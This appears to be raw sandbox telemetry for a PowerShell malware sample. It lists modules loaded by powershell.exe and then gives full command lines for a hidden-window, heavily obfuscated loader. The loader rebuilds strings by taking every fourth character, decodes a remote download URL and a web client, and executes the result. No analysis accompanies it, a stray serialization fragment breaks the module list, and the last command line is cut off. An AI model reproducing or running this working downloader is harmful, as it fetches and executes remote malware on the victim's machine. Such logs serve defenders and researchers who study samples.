"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ffcfd260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffcfc940000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffcc97e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffcffb40000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffcfe100000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffd01a60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffd00120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffcc95a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffce0710000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffcffbf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffcc8890000 "powershell.exe" loaded module "OLEAUT32" at base 7ffd01d50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffcfdd60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffcf20d0000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffcf2050000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffcffc20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffcfda90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffcfa7d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffce0a70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffcfd820000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffcf5d90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffcf6510000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffcfd580000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffcee640000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffcee690000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffcfe2b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffcf3190000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffcf3d80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base 7ffcddc30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffcde530000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffcde2f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 7ffcf8a80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffceff70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffcf31e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffcfe2b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffcfe2b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffcf19c0000 "powershell.exe" loaded module "SXS.DLL" at base 7ffcfe060000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 7ffd01d50000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75420000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75420000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75420000 "powershell.exe" loaded module "KERNEL32" at base 751a0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 73f80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72560000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 73f30000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 74f00000 "powershell.exe" loaded module "VERSION.DLL" at base 738c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 71db0000 "powershell.exe" loaded module "USER32.DLL" at base 73c00000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75420000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 726a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76d70000 "powershell.exe" loaded module "RPCRT4.DLL" at base 75270000 "powershell.exe" loaded module "KERNEL32.DLL" at base 751a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 708d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 77070000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76d70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 75330000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 708a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75140000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 75420000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 70810000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6fdb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f590000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 76d70000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 76d70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 75760000 "powershell.exe" loaded module "PSAPI.DLL" at base 745d0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 753d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 753d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 74fa0000 "powershell.exe" loaded module "AMSI.DLL" at base 6f580000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6edd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 738c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 6edb0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 74fa0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\RU0ZUK88.DLL" at base 6ed50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6ecd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6e970000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 76d70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6e920000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6e810000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 6e800000 "powershell.exe" loaded module "SSPICLI.DLL" at base 73b90000 "powershell.exe" loaded module "WLDP.DLL" at base 6e7e0000 "powershell.exe" loaded module "OLEAUT32" at base 75330000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6e4d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6e450000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 6e420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 6e400000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 6e3e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 6e3c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72980000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 6e3b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6e360000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6e350000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6e340000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6e280000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 75420000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7542000026:T59e0,Process "powershell.exe" with commandline "-windowstyle hidden "mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '??,B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y,z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S';$upopulrere+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm,Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^,s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD,D2 VVvAAAw .oe EEidddaqqq5 **m,HHdQ.QfSS inn xhhhs^^^eTTTt bug,gtZZZ7???t iczzze=.=.HHHi,zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' ,z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x x;GGG$mm G h lJJJoEEEbs sAkkkL D: hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ^d ||i;;;p ||a== l NpEEEsEEE=~~~0ww ;yyy$!!!gww lbb.oXX b== a;;;leee:bbbD zziq qfyyyf > uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA vvD^^^]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"" (UID: 00000000-00006720, Additional Context: "mv 'nonresilience'function Actinism ($radionecrosis252='garrafa'){ $futurable=3do { $befolkningseksplosions+=$radionecrosis252[$futurable]Actinism 'vvvM|||o y z & iVVVlWWWliiia////'+=Actinism ' ||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0'Irremovableness (Actinism ' vv$qqqpG GEww DMMMI OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR ccoA An O uuNX X9VVV5')Irremovableness (Actinism 'Z Z$FF p< >:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooovE tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)')Irremovableness (Actinism QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi Nhhhtooom>>>a ||N IIAmmmg E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S)Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[[Nullable[int]]0]Irremovableness ((Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre'))Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e < uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') Irremovableness Actinism ' DD$U Uf nnoAAArZZZvpppe ;;n ##t!!!eee l vvi .>gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)'Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***regggA vvD]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)')Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[$damevennernes72]}$pisistance=286507Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,uzzzt iIIIo jjnAAA)')Irremovableness (Actinism ';;;$ plllEdLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)')Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)')Irremovableness $kristels;"), Process "powershell.exe" with commandline ""mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '?? B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o UUt + E = e|||r&&&S';$upopulrere+=Actinism ' ||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^ s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhs^^^eTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' z>';$breaks=Actinism ' ZZIss.E ! 